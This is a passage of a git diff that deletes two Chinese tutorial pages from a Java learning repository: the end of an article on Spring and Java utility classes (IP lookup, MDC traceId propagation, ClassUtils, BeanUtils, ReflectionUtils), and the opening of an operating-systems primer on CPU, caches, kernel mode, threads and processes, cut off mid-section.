java.net.*; -import java.util.Enumeration; - -public class IPUtil { - public static final String DEFAULT_IP = "127.0.0.1"; - - /** - * 直接根据第一个网卡地址作为其内网ipv4地址,避免返回 127.0.0.1 - * - * @return 第一个符合条件的内网 IPv4 地址 - */ - public static String getLocalIpByNetcard() { - try { - // 枚举所有的网络接口 - for (Enumeration e = NetworkInterface.getNetworkInterfaces(); e.hasMoreElements(); ) { - // 获取当前网络接口 - NetworkInterface item = e.nextElement(); - // 遍历当前网络接口的所有地址 - for (InterfaceAddress address : item.getInterfaceAddresses()) { - // 忽略回环地址和未启用的网络接口 - if (item.isLoopback() || !item.isUp()) { - continue; - } - // 如果当前地址是 IPv4 地址,则返回其字符串表示 - if (address.getAddress() instanceof Inet4Address) { - Inet4Address inet4Address = (Inet4Address) address.getAddress(); - return inet4Address.getHostAddress(); - } - } - } - // 如果没有找到符合条件的地址,则返回本地主机地址 - return InetAddress.getLocalHost().getHostAddress(); - } catch (SocketException | UnknownHostException e) { - throw new RuntimeException(e); - } - } - - /** - * 获取本地主机地址 - * - * @return 本地主机地址 - */ - public static String getLocalIP() { - try { - return InetAddress.getLocalHost().getHostAddress(); - } catch (UnknownHostException e) { - throw new RuntimeException(e); - } - } -} -``` - -IPUtil 类中定义了两个方法,分别是 `getLocalIpByNetcard()` 和 `getLocalIP()`。前者是获取本机的内网 IPv4 地址,避免了返回 127.0.0.1 的问题。后者是获取本地主机地址,如果本机有多个 IP 地址,则可能返回其中的任意一个。 - -### MDC:一个线程安全的参数传递工具类 - -`MDC` 是 [`org.slf4j`](https://javabetter.cn/gongju/slf4j.html) 包下的一个类,它的全称是 Mapped Diagnostic Context,我们可以认为它是一个线程安全的存放诊断日志的容器。 - -MDC 的底层是用了 [`ThreadLocal`](https://javabetter.cn/thread/ThreadLocal.html) 来保存数据的。 - -我们可以用它传递参数。 - -例如现在有这样一种场景:我们使用`RestTemplate`调用远程接口时,有时需要在`header`中传递信息,比如:traceId,source 等,便于在查询日志时能够串联一次完整的请求链路,快速定位问题。 - -这种业务场景就能通过`ClientHttpRequestInterceptor`接口实现,具体做法如下: - -第一步,定义一个 LogFilter 拦截所有接口请求,在 MDC 中设置 traceId: - -```java -public class LogFilter implements Filter { - @Override - public void init(FilterConfig filterConfig) throws ServletException { - } - - @Override - public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { - MdcUtil.add(UUID.randomUUID().toString()); - System.out.println("记录请求日志"); - chain.doFilter(request, response); - System.out.println("记录响应日志"); - } - - @Override - public void destroy() { - } -} -``` - -第二步,实现`ClientHttpRequestInterceptor`接口,MDC 中获取当前请求的 traceId,然后设置到 header 中: - -```java -public class RestTemplateInterceptor implements ClientHttpRequestInterceptor { - - @Override - public ClientHttpResponse intercept(HttpRequest request, byte[] body, ClientHttpRequestExecution execution) throws IOException { - request.getHeaders().set("traceId", MdcUtil.get()); - return execution.execute(request, body); - } -} -``` - -第三步,定义配置类,配置上面定义的`RestTemplateInterceptor`类: - -```java -@Configuration -public class RestTemplateConfiguration { - - @Bean - public RestTemplate restTemplate() { - RestTemplate restTemplate = new RestTemplate(); - restTemplate.setInterceptors(Collections.singletonList(restTemplateInterceptor())); - return restTemplate; - } - - @Bean - public RestTemplateInterceptor restTemplateInterceptor() { - return new RestTemplateInterceptor(); - } -} -``` - -其中 MdcUtil 其实是利用 MDC 工具在 ThreadLocal 中存储和获取 traceId - -```java -public class MdcUtil { - - private static final String TRACE_ID = "TRACE_ID"; - - public static String get() { - return MDC.get(TRACE_ID); - } - - public static void add(String value) { - MDC.put(TRACE_ID, value); - } -} -``` - -当然,这个例子中没有演示 MdcUtil 类的 add 方法具体调的地方,我们可以在 filter 中执行接口方法之前,生成 traceId,调用 MdcUtil 类的 add 方法添加到 MDC 中,然后在同一个请求的其他地方就能通过 MdcUtil 类的 get 方法获取到该 traceId。 - -能使用 MDC 保存 traceId 等参数的根本原因是,用户请求到应用服务器,Tomcat 会从线程池中分配一个线程去处理该请求。 - -那么该请求的整个过程中,保存到 MDC 的 ThreadLocal 中的参数,也是该线程独享的,所以不会有线程安全问题。 - -### ClassUtils - -spring 的`org.springframework.util`包下的`ClassUtils`类,它里面有很多让我们惊喜的功能。 - -它里面包含了类和对象相关的很多非常实用的方法。 - -#### 获取对象的所有接口 - -如果你想获取某个对象的所有接口,可以使用 ClassUtils 的`getAllInterfaces`方法。例如: - -```java -Class[] allInterfaces = ClassUtils.getAllInterfaces(new User()); -``` - -#### 获取某个类的包名 - -如果你想获取某个类的包名,可以使用 ClassUtils 的`getPackageName`方法。例如: - -```java -String packageName = ClassUtils.getPackageName(User.class); -System.out.println(packageName); -``` - -#### 判断某个类是否内部类 - -如果你想判断某个类是否内部类,可以使用 ClassUtils 的`isInnerClass`方法。例如: - -```java -System.out.println(ClassUtils.isInnerClass(User.class)); -``` - -#### 判断对象是否代理对象 - -如果你想判断对象是否代理对象,可以使用 ClassUtils 的`isCglibProxy`方法。例如: - -```java -System.out.println(ClassUtils.isCglibProxy(new User())); -``` - -ClassUtils 还有很多有用的方法,等待着你去发掘。感兴趣的小伙伴,可以看看下面的内容: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/common-tool/utils-c58920ac-cf04-4d95-ad29-90339a086569.jpg) - -### BeanUtils - -Spring 给我们提供了一个`JavaBean`的工具类,它在`org.springframework.beans`包下面,它的名字叫做:`BeanUtils`。 - -让我们一起看看这个工具可以带给我们哪些惊喜。 - -#### 拷贝对象的属性 - -曾几何时,你有没有这样的需求:把某个对象中的所有属性,都拷贝到另外一个对象中。这时就能使用 BeanUtils 的`copyProperties`方法。例如: - -```java -User user1 = new User(); -user1.setId(1L); -user1.setName("沉默王二"); -user1.setAddress("中国"); - -User user2 = new User(); -BeanUtils.copyProperties(user1, user2); -System.out.println(user2); -``` - -#### 实例化某个类 - -如果你想通过反射实例化一个类的对象,可以使用 BeanUtils 的`instantiateClass`方法。例如: - -```java -User user = BeanUtils.instantiateClass(User.class); -System.out.println(user); -``` - -#### 获取指定类的指定方法 - -如果你想获取某个类的指定方法,可以使用 BeanUtils 的`findDeclaredMethod`方法。例如: - -```java -Method declaredMethod = BeanUtils.findDeclaredMethod(User.class, "getId"); -System.out.println(declaredMethod.getName()); -``` - -#### 获取指定方法的参数 - -如果你想获取某个方法的参数,可以使用 BeanUtils 的`findPropertyForMethod`方法。例如: - -```java -Method declaredMethod = BeanUtils.findDeclaredMethod(User.class, "getId"); -PropertyDescriptor propertyForMethod = BeanUtils.findPropertyForMethod(declaredMethod); -System.out.println(propertyForMethod.getName()); -``` - -如果你对 BeanUtils 比较感兴趣,可以看看下面内容: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/common-tool/utils-629ecd75-259b-46aa-b1dd-82606cfc92ee.jpg) - -### ReflectionUtils - -有时候,我们需要在项目中使用`反射`功能,如果使用最原始的方法来开发,代码量会非常多,而且很麻烦,它需要处理一大堆异常以及访问权限等问题。 - -好消息是 Spring 给我们提供了一个`ReflectionUtils`工具,它在`org.springframework.util`包下面。 - -#### 获取方法 - -如果你想获取某个类的某个方法,可以使用 ReflectionUtils 类的`findMethod`方法。例如: - -```java -Method method = ReflectionUtils.findMethod(User.class, "getId"); -``` - -#### 获取字段 - -如果你想获取某个类的某个字段,可以使用 ReflectionUtils 类的`findField`方法。例如: - -```java -Field field = ReflectionUtils.findField(User.class, "id"); -``` - -#### 执行方法 - -如果你想通过反射调用某个方法,传递参数,可以使用 ReflectionUtils 类的`invokeMethod`方法。例如: - -```java - ReflectionUtils.invokeMethod(method, springContextsUtil.getBean(beanName), param); -``` - -#### 判断字段是否常量 - -如果你想判断某个字段是否常量,可以使用 ReflectionUtils 类的`isPublicStaticFinal`方法。例如: - -```java -Field field = ReflectionUtils.findField(User.class, "id"); -System.out.println(ReflectionUtils.isPublicStaticFinal(field)); -``` - -#### 判断是否 equals 方法 - -如果你想判断某个方法是否 equals 方法,可以使用 ReflectionUtils 类的`isEqualsMethod`方法。例如: - -```java -Method method = ReflectionUtils.findMethod(User.class, "getId"); -System.out.println(ReflectionUtils.isEqualsMethod(method)); -``` - -当然这个类还有不少有趣的方法,感兴趣的朋友,可以看看下面内容: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/common-tool/utils-0a4ecb9c-b9d2-4090-a7b7-c626a0672b94.jpg) - ->参考链接:[https://juejin.cn/post/7102418518599008286](https://juejin.cn/post/7102418518599008286) 作者:苏三,编辑:沉默王二 - ---- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/cs/os.md b/docs/src/cs/os.md deleted file mode 100644 index 70b0019ca5..0000000000 --- a/docs/src/cs/os.md +++ /dev/null @@ -1,1342 +0,0 @@ ---- -title: 操作系统核心知识点大梳理 -shortTitle: 操作系统核心知识点 -description: 转载链接:https://mp.weixin.qq.com/s/G9ZqwEMxjrG5LbgYwM5ACQ -author: 月伴飞鱼 -category: - - 计算机基础 -tag: - - 操作系统 ---- - ->作者:月伴飞鱼,转载链接:[https://mp.weixin.qq.com/s/G9ZqwEMxjrG5LbgYwM5ACQ](https://mp.weixin.qq.com/s/G9ZqwEMxjrG5LbgYwM5ACQ) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/os-5ad16ae7-059f-44f1-8236-697b203bb72e.png) - -## 计算机结构 - -现代计算机模型是基于-**冯诺依曼计算机模型** - -计算机在运行时,先从内存中取出第一条指令,通过控制器的译码,按指令的要求,从存储器中取出数据进行指定的运算和逻辑操作等加工,然后再按地址把结果送到内存中去,接下来,再取出第二条指令,在控制器的指挥下完成规定操作,依此进行下去。直至遇到停止指令 - -程序与数据一样存贮,按程序编排的顺序,一步一步地取出指令,自动地完成指令规定的操作是计算机最基本的工作模型 - -**计算机五大核心组成部分** - -控制器:是整个计算机的中枢神经,其功能是对程序规定的控制信息进行解释,根据其要求进行控制,调度程序、数据、地址,协调计算机各部分工作及内存与外设的访问等。 - -运算器:运算器的功能是对数据进行各种算术运算和逻辑运算,即对数据进行加工处理。 - -存储器:存储器的功能是存储程序、数据和各种信号、命令等信息,并在需要时提供这些信息。 - -输入:输入设备是计算机的重要组成部分,输入设备与输出设备合你为外部设备,简称外设,输入设备的作用是将程序、原始数据、文字、字符、控制命令或现场采集的数据等信息输入到计算机。 - -> 常见的输入设备有键盘、鼠标器、光电输入机、磁带机、磁盘机、光盘机等。 - -输出:输出设备与输入设备同样是计算机的重要组成部分,它把外算机的中间结果或最后结果、机内的各种数据符号及文字或各种控制信号等信息输出出来,微机常用的输出设备有显示终端CRT、打印机、激光印字机、绘图仪及磁带、光盘机等。 - -**计算机结构分成以下 5 个部分:** - -输入设备;输出设备;内存;中央处理器;总线。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/os-eff4b87b-9091-443c-988b-721e9fd59d2f.png) - -### 内存 - -在冯诺依曼模型中,程序和数据被存储在一个被称作内存的线性排列存储区域。 - -存储的数据单位是一个二进制位,英文是 bit,最小的存储单位叫作字节,也就是 8 位,英文是 byte,每一个字节都对应一个内存地址。 - -内存地址由 0 开始编号,比如第 1 个地址是 0,第 2 个地址是 1, 然后自增排列,最后一个地址是内存中的字节数减 1。 - -我们通常说的内存都是随机存取器,也就是读取任何一个地址数据的速度是一样的,写入任何一个地址数据的速度也是一样的。 - -### CPU - -冯诺依曼模型中 CPU 负责控制和计算,为了方便计算较大的数值,CPU 每次可以计算多个字节的数据。 - -* 如果 CPU 每次可以计算 4 个 byte,那么我们称作 32 位 CPU; - -* 如果 CPU 每次可以计算 8 个 byte,那么我们称作 64 位 CPU。 - -这里的 32 和 64,称作 CPU 的位宽。 - -**为什么 CPU 要这样设计呢?** - -因为一个 byte 最大的表示范围就是 0~255。 - -比如要计算 `20000*50`,就超出了byte 最大的表示范围了。 - -因此,CPU 需要支持多个 byte 一起计算,当然,CPU 位数越大,可以计算的数值就越大,但是在现实生活中不一定需要计算这么大的数值,比如说 32 位 CPU 能计算的最大整数是 4294967295,这已经非常大了。 - -**控制单元和逻辑运算单元** - -CPU 中有一个控制单元专门负责控制 CPU 工作;还有逻辑运算单元专门负责计算。 - -**寄存器** - -CPU 要进行计算,比如最简单的加和两个数字时,因为 CPU 离内存太远,所以需要一种离自己近的存储来存储将要被计算的数字。 - -这种存储就是寄存器,寄存器就在 CPU 里,控制单元和逻辑运算单元非常近,因此速度很快。 - -常见的寄存器种类: - -- 通用寄存器,用来存放需要进行运算的数据,比如需要进行加和运算的两个数据。 -- 程序计数器,用来存储 CPU 要执行下一条指令所在的内存地址,注意不是存储了下一条要执行的指令,此时指令还在内存中,程序计数器只是存储了下一条指令的地址。 -- 指令寄存器,用来存放程序计数器指向的指令,也就是指令本身,指令被执行完成之前,指令都存储在这里。 - -#### 多级缓存 - -现代CPU为了提升执行效率,减少CPU与内存的交互(交互影响CPU效率),一般在CPU上集成了多级缓存架构 - -**CPU缓存**即高速缓冲存储器,是位于CPU与主内存间的一种容量较小但速度很高的存储器 - -由于CPU的速度远高于主内存,CPU直接从内存中存取数据要等待一定时间周期,Cache中保存着CPU刚用过或循环使用的一部分数据,当CPU再次使用该部分数据时可从Cache中直接调用,减少CPU的等待时间,提高了系统的效率,具体包括以下几种: - -**L1-Cache** - -L1- 缓存在 CPU 中,相比寄存器,虽然它的位置距离 CPU 核心更远,但造价更低,通常 L1-Cache 大小在几十 Kb 到几百 Kb 不等,读写速度在 2~4 个 CPU 时钟周期。 - -**L2-Cache** - -L2- 缓存也在 CPU 中,位置比 L1- 缓存距离 CPU 核心更远,它的大小比 L1-Cache 更大,具体大小要看 CPU 型号,有 2M 的,也有更小或者更大的,速度在 10~20 个 CPU 周期。 - -**L3-Cache** - -L3- 缓存同样在 CPU 中,位置比 L2- 缓存距离 CPU 核心更远,大小通常比 L2-Cache 更大,读写速度在 20~60 个 CPU 周期。 - -L3 缓存大小也是看型号的,比如 i9 CPU 有 512KB L1 Cache;有 2MB L2 Cache; 有16MB L3 Cache。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/os-214a4294-df48-4ed4-8f6a-15c93c02037d.png) - -当 CPU 需要内存中某个数据的时候,如果寄存器中有这个数据,我们可以直接使用;如果寄存器中没有这个数据,我们就要先查询 L1 缓存;L1 中没有,再查询 L2 缓存;L2 中没有再查询 L3 缓存;L3 中没有,再去内存中拿。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/os-936b2476-4704-4928-bfd0-d7417d0f1ab8.png) - - - -**总结:** - -存储器存储空间大小:内存>L3>L2>L1>寄存器; - -存储器速度快慢排序:寄存器>L1>L2>L3>内存; - -#### 安全等级 - -**CPU运行安全等级** - -CPU有4个运行级别,分别为: - -- ring0,ring1,ring2,ring3 - -ring0只给操作系统用,ring3谁都能用。 - -ring0是指CPU的运行级别,是最高级别,ring1次之,ring2更次之…… - -系统(内核)的代码运行在最高运行级别ring0上,可以使用特权指令,控制中断、修改页表、访问设备等等。 - -应用程序的代码运行在最低运行级别上ring3上,不能做受控操作。 - -如果要做,比如要访问磁盘,写文件,那就要通过执行系统调用(函数),执行系统调用的时候,CPU的运行级别会发生从ring3到ring0的切换,并跳转到系统调用对应的内核代码位置执行,这样内核就为你完成了设备访问,完成之后再从ring0返回ring3。 - -这个过程也称作用户态和内核态的切换。 - -#### 局部性原理 - -在CPU访问存储设备时,无论是存取数据抑或存取指令,都趋于聚集在一片连续的区域中,这就被称为局部性原理 - -**时间局部性(Temporal Locality):** - -如果一个信息项正在被访问,那么在近期它很可能还会被再次访问。 - -比如循环、递归、方法的反复调用等。 - -**空间局部性(Spatial Locality):** - -如果一个存储器的位置被引用,那么将来他附近的位置也会被引用。 - -比如顺序执行的代码、连续创建的两个对象、数组等。 - -#### 程序的执行过程 - -程序实际上是一条一条指令,所以程序的运行过程就是把每一条指令一步一步的执行起来,负责执行指令的就是 CPU 了。 - -**那 CPU 执行程序的过程如下:** - -- 第一步,CPU 读取程序计数器的值,这个值是指令的内存地址,然后 CPU 的控制单元操作地址总线指定需要访问的内存地址,接着通知内存设备准备数据,数据准备好后通过数据总线将指令数据传给 CPU,CPU 收到内存传来的数据后,将这个指令数据存入到指令寄存器。 -- 第二步,CPU 分析指令寄存器中的指令,确定指令的类型和参数,如果是计算类型的指令,就把指令交给逻辑运算单元运算;如果是存储类型的指令,则交由控制单元执行; -- 第三步,CPU 执行完指令后,程序计数器的值自增,表示指向下一条指令。这个自增的大小,由 CPU 的位宽决定,比如 32 位的 CPU,指令是 4 个字节,需要 4 个内存地址存放,因此程序计数器的值会自增 4; - -简单总结一下就是,一个程序执行的时候,CPU 会根据程序计数器里的内存地址,从内存里面把需要执行的指令读取到指令寄存器里面执行,然后根据指令长度自增,开始顺序读取下一条指令。 - -CPU 从程序计数器读取指令、到执行、再到下一条指令,这个过程会不断循环,直到程序执行结束,这个不断循环的过程被称为 **CPU 的指令周期**。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/os-0e135ca2-26fa-4495-8a4b-3c9c05a4341e.png) - -### 总线 - -CPU 和内存以及其他设备之间,也需要通信,因此我们用一种特殊的设备进行控制,就是总线。 - -- 地址总线,用于指定 CPU 将要操作的内存地址; -- 数据总线,用于读写内存的数据; -- 控制总线,用于发送和接收信号,比如中断、设备复位等信号,CPU 收到信号后自然进行响应,这时也需要控制总线; - -当 CPU 要读写内存数据的时候,一般需要通过两个总线: - -- 首先要通过地址总线来指定内存的地址; -- 再通过数据总线来传输数据; - -### 输入、输出设备 - -输入设备向计算机输入数据,计算机经过计算,将结果通过输出设备向外界传达。 - -如果输入设备、输出设备想要和 CPU 进行交互,比如说用户按键需要 CPU 响应,这时候就需要用到控制总线。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) - -## 基础知识 - -### 中断 - -**中断的类型** - -* 按照中断的触发方分成同步中断和异步中断; - -* 根据中断是否强制触发分成可屏蔽中断和不可屏蔽中断。 - -中断可以由 CPU 指令直接触发,这种主动触发的中断,叫作同步中断。 - -> 同步中断有几种情况。 - -* 比如系统调用,需要从用户态切换内核态,这种情况需要程序触发一个中断,叫作陷阱(Trap),中断触发后需要继续执行系统调用。 - -* 还有一种同步中断情况是错误(Fault),通常是因为检测到某种错误,需要触发一个中断,中断响应结束后,会重新执行触发错误的地方,比如后面我们要学习的缺页中断。 - -* 最后还有一种情况是程序的异常,这种情况和 Trap 类似,用于实现程序抛出的异常。 - -另一部分中断不是由 CPU 直接触发,是因为需要响应外部的通知,比如响应键盘、鼠标等设备而触发的中断,这种中断我们称为异步中断。 - -CPU 通常都支持设置一个中断屏蔽位(一个寄存器),设置为 1 之后 CPU 暂时就不再响应中断。 - -对于键盘鼠标输入,比如陷阱、错误、异常等情况,会被临时屏蔽。 - -但是对于一些特别重要的中断,比如 CPU 故障导致的掉电中断,还是会正常触发。 - -**可以被屏蔽的中断我们称为可屏蔽中断,多数中断都是可屏蔽中断。** - -### 内核态和用户态 - -**什么是用户态和内核态** - -Kernel 运行在超级权限模式下,所以拥有很高的权限。 - -按照权限管理的原则,多数应用程序应该运行在最小权限下。 - -因此,很多操作系统,将内存分成了两个区域: - -* 内核空间(Kernal Space),这个空间只有内核程序可以访问; - -* 用户空间(User Space),这部分内存专门给应用程序使用。 - -用户空间中的代码被限制了只能使用一个局部的内存空间,我们说这些程序在用户态 执行。 - -内核空间中的代码可以访问所有内存,我们称这些程序在内核态 执行。 - -> 按照级别分: - -当程序运行在0级特权级上时,就可以称之为运行在内核态 - -当程序运行在3级特权级上时,就可以称之为运行在用户态 - -运行在用户态下的程序不能直接访问操作系统内核数据结构和程序。 - -当我们在系统中执行一个程序时,大部分时间是运行在用户态下的,在其需要操作系统帮助完成某些它没有权力和能力完成的工作时就会切换到内核态(比如操作硬件) - -**这两种状态的主要差别** - -处于用户态执行时,进程所能访问的内存空间和对象受到限制,其所处于占有的处理器是可被抢占的 - -处于内核态执行时,则能访问所有的内存空间和对象,且所占有的处理器是不允许被抢占的。 - -**为什么要有用户态和内核态** - -由于需要限制不同的程序之间的访问能力,防止他们获取别的程序的内存数据,或者获取外围设备的数据,并发送到网络 - -**用户态与内核态的切换** - -所有用户程序都是运行在用户态的,但是有时候程序确实需要做一些内核态的事情, 例如从硬盘读取数据,或者从键盘获取输入等,而唯一可以做这些事情的就是操作系统,所以此时程序就需要先操作系统请求以程序的名义来执行这些操作 - -**用户态和内核态的转换** - -> 系统调用 - -用户态进程通过系统调用申请使用操作系统提供的服务程序完成工作,比如fork()实际上就是执行了一个创建新进程的系统调用 - -而系统调用的机制其核心还是使用了操作系统为用户特别开放的一个中断来实现,例如Linux的int 80h中断 - -**举例:** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/os-29b6f34f-a8b3-48ec-8e5c-aea1036ea16a.png) - -如上图所示:内核程序执行在内核态(Kernal Mode),用户程序执行在用户态(User Mode)。 - -当发生系统调用时,用户态的程序发起系统调用,因为系统调用中牵扯特权指令,用户态程序权限不足,因此会中断执行,也就是 Trap(Trap 是一种中断)。 - -发生中断后,当前 CPU 执行的程序会中断,跳转到中断处理程序,内核程序开始执行,也就是开始处理系统调用。 - -内核处理完成后,主动触发 Trap,这样会再次发生中断,切换回用户态工作。 - -> 异常 - -当CPU在执行运行在用户态下的程序时,发生了某些事先不可知的异常,这时会触发由当前运行进程切换到处理此异常的内核相关程序中,也就转到了内核态,比如缺页异常 - -> 外围设备的中断 - -当外围设备完成用户请求的操作后,会向CPU发出相应的中断信号,这时CPU会暂停执行下一条即将要执行的指令转而去执行与中断信号对应的处理程序,如果先前执行的指令是用户态下的程序,那么这个转换的过程自然也就发生了由用户态到内核态的切换 - -比如硬盘读写操作完成,系统会切换到硬盘读写的中断处理程序中执行后续操作等 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) - -## 线程 - -线程:系统分配处理器时间资源的基本单元,是程序执行的最小单位 - -线程可以看做轻量级的进程,共享内存空间,每个线程都有自己独立的运行栈和程序计数器,线程之间切换的开销小。 - -在同一个进程(程序)中有多个线程同时执行(通过CPU调度,在每个时间片中只有一个线程执行) - -进程可以通过 API 创建用户态的线程,也可以通过系统调用创建内核态的线程。 - -### 用户态线程 - -用户态线程也称作用户级线程,操作系统内核并不知道它的存在,它完全是在用户空间中创建。 - -用户级线程有很多优势,比如: - -* 管理开销小:创建、销毁不需要系统调用。 - -* 切换成本低:用户空间程序可以自己维护,不需要走操作系统调度。 - -但是这种线程也有很多的缺点: - -* 与内核协作成本高:比如这种线程完全是用户空间程序在管理,当它进行 I/O 的时候,无法利用到内核的优势,需要频繁进行用户态到内核态的切换。 - -* 线程间协作成本高:设想两个线程需要通信,通信需要 I/O,I/O 需要系统调用,因此用户态线程需要额外的系统调用成本。 - -* 无法利用多核优势:比如操作系统调度的仍然是这个线程所属的进程,所以无论每次一个进程有多少用户态的线程,都只能并发执行一个线程,因此一个进程的多个线程无法利用多核的优势。 - -操作系统无法针对线程调度进行优化:当一个进程的一个用户态线程阻塞(Block)了,操作系统无法及时发现和处理阻塞问题,它不会更换执行其他线程,从而造成资源浪费。 - -### 内核态线程 - -内核态线程也称作内核级线程(Kernel Level Thread),这种线程执行在内核态,可以通过系统调用创造一个内核级线程。 - -内核级线程有很多优势: - -* 可以利用多核 CPU 优势:内核拥有较高权限,因此可以在多个 CPU 核心上执行内核线程。 - -* 操作系统级优化:内核中的线程操作 I/O 不需要进行系统调用;一个内核线程阻塞了,可以立即让另一个执行。 - -当然内核线程也有一些缺点: - -* 创建成本高:创建的时候需要系统调用,也就是切换到内核态。 - -* 扩展性差:由一个内核程序管理,不可能数量太多。 - -* 切换成本较高:切换的时候,也同样存在需要内核操作,需要切换内核态。 - -**用户态线程和内核态线程之间的映射关系** - -如果有一个用户态的进程,它下面有多个线程,如果这个进程想要执行下面的某一个线程,应该如何做呢? - -> 这时,比较常见的一种方式,就是将需要执行的程序,让一个内核线程去执行。 - -毕竟,内核线程是真正的线程,因为它会分配到 CPU 的执行资源。 - -如果一个进程所有的线程都要自己调度,相当于在进程的主线程中实现分时算法调度每一个线程,也就是所有线程都用操作系统分配给主线程的时间片段执行。 - -> 这种做法,相当于操作系统调度进程的主线程;进程的主线程进行二级调度,调度自己内部的线程。 - -这样操作劣势非常明显,比如无法利用多核优势,每个线程调度分配到的时间较少,而且这种线程在阻塞场景下会直接交出整个进程的执行权限。 - -由此可见,用户态线程创建成本低,问题明显,不可以利用多核。 - -内核态线程,创建成本高,可以利用多核,切换速度慢。 - -因此通常我们会在内核中预先创建一些线程,并反复利用这些线程。 - -### 协程 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/os-586071a1-3d5f-4873-963f-d47b8aeea594.png) - -协程,是一种比线程更加轻量级的存在,协程不是被操作系统内核所管理,而完全是由程序所控制(也就是在用户态执行)。 - -这样带来的好处就是性能得到了很大的提升,不会像线程切换那样消耗资源。 - -**子程序** - -或者称为函数,在所有语言中都是层级调用,比如A调用B,B在执行过程中又调用了C,C执行完毕返回,B执行完毕返回,最后是A执行完毕。 - -所以子程序调用是通过栈实现的,一个线程就是执行一个子程序。 - -子程序调用总是一个入口,一次返回,调用顺序是明确的。 - -**协程的特点在于是一个线程执行,那和多线程比,协程有何优势?** - -* 极高的执行效率:因为子程序切换不是线程切换,而是由程序自身控制,因此,没有线程切换的开销,和多线程比,线程数量越多,协程的性能优势就越明显; -* 不需要多线程的锁机制:因为只有一个线程,也不存在同时写变量冲突,在协程中控制共享资源不加锁,只需要判断状态就好了,所以执行效率比多线程高很多。 - -### 线程安全 - -如果你的代码所在的进程中有多个线程在同时运行,而这些线程可能会同时运行这段代码。 - -如果每次运行结果和单线程运行的结果是一样的,而且其他的变量的值也和预期的是一样的,就是线程安全的。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) - -## 进程 - -在系统中正在运行的一个应用程序;程序一旦运行就是进程;是资源分配的最小单位。 - -在操作系统中能同时运行多个进程; - -开机的时候,磁盘的内核镜像被导入内存作为一个执行副本,成为内核进程。 - -进程可以分成**用户态进程和内核态进程**两类,用户态进程通常是应用程序的副本,内核态进程就是内核本身的进程。 - -如果用户态进程需要申请资源,比如内存,可以通过系统调用向内核申请。 - -每个进程都有独立的内存空间,存放代码和数据段等,程序之间的切换会有较大的开销; - -**分时和调度** - -每个进程在执行时都会获得操作系统分配的一个时间片段,如果超出这个时间,就会轮到下一个进程(线程)执行。 - -> 注意,现代操作系统都是直接调度线程,不会调度进程。 - -**分配时间片段** - -如下图所示,进程 1 需要 2 个时间片段,进程 2 只有 1 个时间片段,进程 3 需要 3 个时间片段。 - -因此当进程 1 执行到一半时,会先挂起,然后进程 2 开始执行;进程 2 一次可以执行完,然后进程 3 开始执行,不过进程 3 一次执行不完,在执行了 1 个时间片段后,进程 1 开始执行;就这样如此周而复始,这个就是分时技术。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/os-606eb7bd-e9e1-457a-bf61-66b152c5ada5.png) - -### 创建进程 - -用户想要创建一个进程,最直接的方法就是从命令行执行一个程序,或者双击打开一个应用,但对于程序员而言,显然需要更好的设计。 - -首先,应该有 API 打开应用,比如可以通过函数打开某个应用; - -另一方面,如果程序员希望执行完一段代价昂贵的初始化过程后,将当前程序的状态复制好几份,变成一个个单独执行的进程,那么操作系统提供了 fork 指令。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/os-85a86f1b-eeff-401e-8bfe-19e5509e2a53.png) - -也就是说,每次 fork 会多创造一个克隆的进程,这个克隆的进程,所有状态都和原来的进程一样,但是会有自己的地址空间。 - -如果要创造 2 个克隆进程,就要 fork 两次。 - -> 那如果我就是想启动一个新的程序呢? - -操作系统提供了启动新程序的 API。 - -如果我就是想用一个新进程执行一小段程序,比如说每次服务端收到客户端的请求时,我都想用一个进程去处理这个请求。 - -如果是这种情况,建议你不要单独启动进程,而是使用线程。 - -因为进程的创建成本实在太高了,因此不建议用来做这样的事情:要创建条目、要分配内存,特别是还要在内存中形成一个个段,分成不同的区域。所以通常,我们更倾向于多创建线程。 - -不同程序语言会自己提供创建线程的 API,比如 Java 有 Thread 类;go 有 go-routine(注意不是协程,是线程)。 - -### 进程状态 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/os-5f202fa5-0922-4b41-b4f2-f8a9af37a176.png) - -**创建状态** - -进程由创建而产生,创建进程是一个非常复杂的过程,一般需要通过多个步骤才能完成:如首先由进程申请一个空白的进程控制块(PCB),并向PCB中填写用于控制和管理进程的信息;然后为该进程分配运行时所必须的资源;最后,把该进程转入就绪状态并插入到就绪队列中 - -**就绪状态** - -这是指进程已经准备好运行的状态,即进程已分配到除CPU以外所有的必要资源后,只要再获得CPU,便可立即执行,如果系统中有许多处于就绪状态的进程,通常将它们按照一定的策略排成一个队列,该队列称为就绪队列,有执行资格,没有执行权的进程 - -**运行状态** - -这里指进程已经获取CPU,其进程处于正在执行的状态。对任何一个时刻而言,在单处理机的系统中,只有一个进程处于执行状态而在多处理机系统中,有多个进程处于执行状态,既有执行资格,又有执行权的进程 - -**阻塞状态** - 